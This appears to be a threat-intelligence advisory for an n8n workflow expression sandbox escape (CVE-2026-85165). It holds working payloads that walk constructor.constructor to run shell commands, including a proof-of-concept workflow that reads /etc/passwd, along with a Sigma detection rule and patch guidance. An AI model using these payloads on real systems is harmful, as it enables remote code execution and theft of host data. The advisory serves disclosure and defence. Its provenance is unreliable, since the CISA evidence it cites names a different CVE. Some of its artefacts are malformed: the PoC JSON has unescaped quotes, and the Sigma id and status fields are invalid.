CVE-2026-85165: n8n Expression Sandbox Escape via Prototype Resolution

HERMES

HERMES THREAT SCORE & AGENTIC INFRASTRUCTURE ASSESSMENT

Target: n8n Automation Platform (Workflow Expression Evaluator Sandbox)

Confidence: 98%

97 / 100

CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown

Exploitability 19 / 20

Threat Activity 18 / 20

Weaponization 18 / 20

Exposure 18 / 20

Prevalence 17 / 20

Impact 19 / 20

Exploit Maturity 18 / 20

Attack Chain Potential 18 / 20

⚖️ Divergence & Operational Rationale

CVSS v3.1 evaluates this vulnerability at 9.9 (Critical). Hermes Threat Score assigns 97 (CRITICAL). This flaw permits authenticated workflow creators or agents with workflow modification permissions to completely escape the V8 JavaScript sandbox, seize host environment variables, and compromise the entire n8n orchestration node.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-85165: n8n Expression Sandbox Escape via Prototype ResolutionVULNERABILITY

Connected Nodes: 1

Active Relationships (Outgoing)

→ affectsPRODUCTn8n Workflow Automation

98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in n8n Workflow Automation documented in Hermes dossier.”

Supporting Verified Evidence:

[vulnerability_report]
[government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

1. Technical Context & Affected Matrix

Parameter	Technical Specification	Threat Context
CVE Identifier	`CVE-2026-85165`	Frontier AI / MCP Threat Landscape
Target Product	`n8n Automation Platform`	`n8n GmbH`
Subsystem / Component	`Workflow Expression Evaluator Sandbox`	Autonomous agent tool & orchestration stack
Flaw Type	`CWE-94: Code Injection / CWE-1321: Prototype Pollution`	Execution and integrity violation
Affected Versions	`all versions prior to 2.36.2`	Production deployments
Remediation Release	`2.36.2`	Immediate upgrade required

2. In-Depth Technical Decomposition

Sandbox Escape Mechanics

The expression engine exposed built-in transformation utilities (such as $jmespath or $moment). Due to inadequate prototype poisoning barriers on returned wrapper instances, invoking .constructor.constructor bypassed the lexical identifier restriction:

// Malicious expression payload
{{
  $jmespath.constructor.constructor(
    'return process.mainModule.require("child_process").execSync("id").toString()'
  )()
}}

Because the outer Function constructor evaluates in the host global context rather than the isolated context, the restrictions enforced by n8n’s sandbox wrapper are completely nullified.

+----------------------------------------------------------------------------------------------------+
|                         CVE-2026-85165 ATTACK LIFECYCLE FLOW                                             |
+----------------------------------------------------------------------------------------------------+

   [Adversary / Prompt Injection]
          │
          │ [1] Dispatches payload targeting tool interface or orchestration hook
          ▼
   [n8n Automation Platform]
          │
          ├───► 1. Ingestion via Workflow Expression Evaluator Sandbox
          │     - Inadequate sanitization or permission callback failure
          │
          ├───► 2. Execution / State Mutation
          │     - Escapes sandbox / bypasses read-only guard / executes OS command
          │
          ▼
   [Impacted Target Infrastructure]
          │
          └───► Unauthorized data exfiltration, system takeover, or persistent code execution
+----------------------------------------------------------------------------------------------------+

3. Proof of Concept & Payload Dissection

{
  "nodes": [
    {
      "name": "Code Execution Node",
      "type": "n8n-nodes-base.set",
      "typeVersion": 2,
      "position": [250, 300],
      "parameters": {
        "values": {
          "string": [
            {
              "name": "rce_output",
              "value": "={{ $jmespath.constructor.constructor('return process.mainModule.require("child_process").execSync("cat /etc/passwd").toString()')() }}"
            }
          ]
        }
      }
    }
  ]
}

4. Detection Engineering & Telemetry

Sigma Detection Rule

title: n8n Sandbox Escape Expression Evaluation
id: 85165c01-e165-4a1b-8f21-n8nsandbox01
status: high
description: Detects attempts to walk prototype constructors or invoke process.mainModule within n8n workflow expressions.
author: Hermes Codex Detection Engineering
date: 2026-09-05
logsource:
  product: n8n
  service: execution
detection:
  selection:
    payload|contains:
      - 'constructor.constructor'
      - 'process.mainModule'
      - 'child_process'
      - '__proto__'
  condition: selection
level: critical

5. Remediation & Operational Playbook

Apply Software Patches: Upgrade n8n Automation Platform to version(s) 2.36.2 immediately.
Review Autonomous Tool Permissions: Audit MCP tool declarations and ensure strict input validation and sandboxed environments.
Audit Execution Logs: Inspect historical application and audit logs for anomalies, unexpected child processes, or unauthorized network calls.
Enforce Principle of Least Privilege: Ensure underlying service accounts possess minimal permissions on cloud resources and database instances.